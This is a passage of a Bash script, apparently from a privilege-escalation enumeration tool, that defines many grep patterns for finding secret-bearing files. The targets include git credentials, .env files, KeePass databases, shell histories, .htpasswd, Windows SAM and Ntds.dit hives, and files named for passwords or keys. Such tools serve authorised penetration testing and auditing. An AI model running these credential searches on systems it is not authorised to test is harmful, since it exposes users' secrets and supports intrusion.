PSTORAGE_CHROME=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_OPERA=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SAFARI=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FASTCGI=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "fastcgi_params$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SNMP=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PYPIRC=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.pypirc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "postfix$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.cloudflared$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HISTORY=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\..*_history\..*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HTTP_CONF=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "httpd\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HTPASSWD=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.htpasswd$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_LDAPRC=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.ldaprc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ENV=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.env$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MSMTPRC=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.msmtprc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_GITHUB=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SVN=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.svn$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KEEPASS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FTP=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_BIND=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/usr|^/etc|^/var" | grep -E "bind$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "seeddms.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DDCLIENT=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KCPASSWORD=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "kcpassword$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SENTRY=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "environments$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CACTI=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "cacti$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "roundcube$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PASSBOLT=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "passbolt\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_WGET=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.wgetrc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|php\.ini$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DATABASE=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_BACKUPS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "backup$|backups$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70)
|
||||
